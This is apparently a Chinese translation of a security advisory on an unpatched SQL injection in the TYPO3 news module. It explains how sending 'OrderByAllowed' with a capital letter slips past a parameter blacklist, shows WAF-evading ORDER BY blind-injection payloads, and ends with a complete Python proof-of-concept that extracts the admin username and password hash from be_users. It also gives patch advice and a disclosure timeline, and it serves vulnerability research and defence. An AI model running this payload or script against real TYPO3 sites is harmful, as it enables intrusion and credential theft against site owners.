2017-04-13 14:11:46
来源:ambionics.io 作者:knight
阅读:274次
点赞(0)
收藏
翻译:knight
预估稿费:150RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
通过POST,来发送orderByAllowed和orderBy,我们将能够控制SQL语句的一部分,并获得注入漏洞。
正文
新闻模块是TYPO3(Typo3内容管理系统)中最常用的模块之一,现在会受到SQL注入漏洞的攻击。虽然作者已经在4个月里内多次联系厂商,但是至今都没有修复。现在我们发布一下关于利用这个漏洞的细节。 另外,需要注意的是,当模块设置overrideDemand参数为1时,该漏洞就只会在默认情况下可以被利用。
描述
该模块是MVC架构中的一个组成部分。 作为用户,您可以列出并阅读新闻。 前者允许定义过滤消息的标准,例如作者,类别,发布日期等。以下是负责这样做的NewsController.php中的简化代码片段。其中的注释是我自己写的:
#Listofparametersthatcannotbesetbytheuser #用户无法设置的参数列表 protected$ignoredSettingsForOverride=['demandClass','orderByAllowed']; #Thisisourentrypoint #这是我们的入口点 #Theonlyparameter,$overwriteDemand,issentviaPOST #唯一的参数$overwriteDemand是通过POST发送的 publicfunctionlistAction(array$overwriteDemand=null) { #InitializesaDemandObjectwithdefaultsettings#使用默认设置初始化需求对象 $demand=$this->createDemandObjectFromSettings($this->settings); #Setsupuser-givensettingsfrom$overwriteDemand#从$overwriteDemand设置用户给定的设置 $demand=$this->overwriteDemandObject($demand,$overwriteDemand); #BuildsanSQLqueryfromtheDemandobject,andrunsit#从Demand对象构建一个SQL查询,并运行它 $newsRecords=$this->newsRepository->findDemanded($demand); #Displaysresults#显示结果 $this->view->display($newsRecords); } protectedfunctionoverwriteDemandObject($demand,$overwriteDemand) { #Somevaluescannotbesetbytheuser:theyareremoved#某些值不能由用户设置:它们被删除 foreach($this->ignoredSettingsForOverrideas$property){ unset($overwriteDemand[$property]); } #Assignvaluesthatwentthroughthefilterbycallingset<$name>($value)#通过调用set<$name>($value)来分配通过过滤器的值 foreach($overwriteDemandas$propertyName=>$propertyValue){ $methodName='set'.ucfirst($propertyName); if(is_callable($demand,$setterMethodName)) $demand->{$setterMethodName}($propertyValue); } return$demand; }创建后,使用Demand对象的参数构建SQL查询:例如,设置一个作者作为查询条件来添加与此类似的条件来进行添加:
WHEREauthor='{$demand->getAuthor()}'原理
任何属性都可能作为潜在的SQL注入向量。 可能的标准列在了下面:
<?php publicfunctionsetArchiveRestriction($archiveRestriction) publicfunctionsetCategories($categories) publicfunctionsetCategoryConjunction($categoryConjunction) publicfunctionsetIncludeSubCategories($includeSubCategories) publicfunctionsetAuthor($author) publicfunctionsetTags($tags) publicfunctionsetTimeRestriction($timeRestriction) publicfunctionsetTimeRestrictionHigh($timeRestrictionHigh) publicfunctionsetOrder($order) publicfunctionsetOrderByAllowed($orderByAllowed) publicfunctionsetTopNewsFirst($topNewsFirst) publicfunctionsetSearchFields($searchFields) publicfunctionsetTopNewsRestriction($topNewsRestriction) publicfunctionsetStoragePage($storagePage) publicfunctionsetDay($day) publicfunctionsetMonth($month) publicfunctionsetYear($year) publicfunctionsetLimit($limit) publicfunctionsetOffset($offset) publicfunctionsetDateField($dateField) publicfunctionsetSearch($search=null) publicfunctionsetExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews) publicfunctionsetHideIdList($hideIdList) publicfunctionsetAction($action) publicfunctionsetClass($class) publicfunctionsetActionAndClass($action,$controller)其中有一些很有用,因为它们不包含在SQL查询中的引号中; limit,offset,和order 看起来可以被利用。 但是不幸的是,前两个都被cast进行了过滤。
然而,最后一个order,通过白名单进行了过滤,而该白名单包含在另一个参数中:
<?php if(Validation::isValidOrdering($demand->getOrder(),$demand->getOrderByAllowed())){ $order_by_field=$demand->getOrder();}else{ #Default $order_by_field='id';}通过POST,来发送orderByAllowed和orderBy,我们将能够控制SQL语句的一部分,并获得注入漏洞。
但是我们又一次被阻止了:orderByAllowed是黑名单参数之一:它不能通过POST来设置。 这里属于属性过滤/重新设置代码:
<?php protectedfunctionoverwriteDemandObject($demand,$overwriteDemand){ #Somevaluescannotbesetbytheuser:theyareremoved#某些值不能由用户设置:它们被删除 foreach($this->ignoredSettingsForOverrideas$property){ unset($overwriteDemand[$property]); } #Assignvaluesthatwentthroughthefilterbycallingset<$name>($value) #通过调用set<$name>($value)来分配通过过滤器的值 foreach($overwriteDemandas$propertyName=>$propertyValue){ $methodName='set'.ucfirst($propertyName); if(is_callable($demand,$setterMethodName)) $subject->{$setterMethodName}($propertyValue); } return$demand;}为了调用setter,将该模块给定参数的第一个字母大写。它让我们绕过unset()过滤器:通过发送大写字母O来代替OrderByAllowed,它不再会被删除,并且setOrderByAllowed()还会被调用。
我们现在可以定义自己的orderbyallowed:我们就可以随意的使用order语法,我们得到了一个SQL注入漏洞。
开发
由于我们正在利用mysql上的ORDER BY语句,因此我们的有效载荷必须具有以下形式:
IF( ( ORD(SUBSTRING( (SELECTpasswordFROMbe_userWHEREid=1),4,1) ))=0x41 ), id, title )根据测试的结果,消息的排序将发生变化,从而允许我们执行基于测试的SQL注入。
但是,对于一些应用程序逻辑和WAF过滤器,我们需要绕过一些限制,以便能够利用这种SQL注入。
BadChars:
任何大写字母
任何空格
逗号
SQL注释(由于WAF)
此外,表的名称是我们的有效载荷的前缀。 也就是说,SQL查询语句如下所示:
SELECT...FROM...ORDERBYtx_news_model_domain_news.$order由于SQL不关心这种情况,所以第一个问题可以被丢弃。 第二个,连同注释,可以通过使用括号语法来绕过,例如:
..(SELECT(password)FROM(be_users)WHERE(id=1))...逗号有点烦人,但MySQL提供了一些替代语法,例如SUBSTRING(x FROM y FOR z)而不是SUBSTRING(x,y,z)和(CASE条件WHEN 1 THEN x ELSE y END)而不是 IF(条件,x,y)。
Badchars会被过滤,所以我们现在应该专注于前缀问题。 而不是使用两个字段,我们选择一个数字字段,并将其乘以1或-1,这取决于我们的条件,像这样:
uid*(CASEconditionWHEN1THEN1ELSE-1END)如果条件为真,消息将按照uid排序。 否则,它们将被-uid排序,这意味着它们将以相反的顺序显示。
我们的最终有效载荷如下所示:
id*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)我们现在就能够进行盲注了。 默认情况下,会话会绑定IP,这意味着我们无法使用它们来劫持帐户。 我们需要下载并强制进行暴力破解。
补丁
补丁的最佳方法是通过将overrideDemand的参数设置为零来阻止用户更改需求参数。 另一种方法是阻止从GET和POST中包含OrderByAllowed的任何案例变体和URL编码的键。
时间线
2017-01-05发送电子邮件到TYPO3的安全团队,报告通过DateField就可以漏洞利用(相同的向量,只不过更容易)
2017-01-20漏洞被发现,TYPO3表示已经修补
2017-01-25报告了通过OrderByAllowed可以进行漏洞利用
2017-04-05多次尝试后仍然没有回答
Exploit
#!/usr/bin/python3 #TYPO3NewsModuleSQLInjectionExploit #https://www.ambionics.io/blog/typo3-news-module-sqli #cf # #Theinjectionalgorithmisnotoptimized,thisisjustmeanttobeaPOC. # importrequests importstring session=requests.Session() session.proxies={'http':'localhost:8080'} #Changethis:-) URL='http://vmweb/typo3/index.php?id=8&no_cache=1' PATTERN0='Article#1' PATTERN1='Article#2' FULL_CHARSET=string.ascii_letters+string.digits+'$./' defblind(field,table,condition,charset): #Weadd9sothattheresulthastwodigits #Ifthelengthissuperiorto100-9itwon'twork size=blind_size( 'length(%s)+9'%field,table,condition, 2,string.digits ) size=int(size)-9 data=blind_size( field,table,condition, size,charset ) returndata defselect_position(field,table,condition,position,char): payload='select(%s)from(%s)where(%s)'%( field,table,condition ) payload='ord(substring((%s)from(%d)for(1)))'%(payload,position) payload='uid*(case((%s)=%d)when(1)then(1)else(-1)end)'%( payload,ord(char) ) returnpayload defblind_size(field,table,condition,size,charset): string='' forpositioninrange(size): forcharincharset: payload=select_position(field,table,condition,position+1,char) iftest(payload): string+=char print(string) break else: raiseValueError('Charwasnotfound') returnstring deftest(payload): response=session.post( URL, data=data(payload) ) response=response.text returnresponse.index(PATTERN0)<response.index(PATTERN1) defdata(payload): return{ 'tx_news_pi1[overwriteDemand][order]':payload, 'tx_news_pi1[overwriteDemand][OrderByAllowed]':payload, 'tx_news_pi1[search][subject]':'', 'tx_news_pi1[search][minimumDate]':'2016-01-01', 'tx_news_pi1[search][maximumDate]':'2016-12-31', } #Exploit print("USERNAME:",blind('username','be_users','uid=1',string.ascii_letters)) print("PASSWORD:",blind('password','be_users','uid=1',FULL_CHARSET))本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.ambionics.io/blog/typo3-news-module-sqli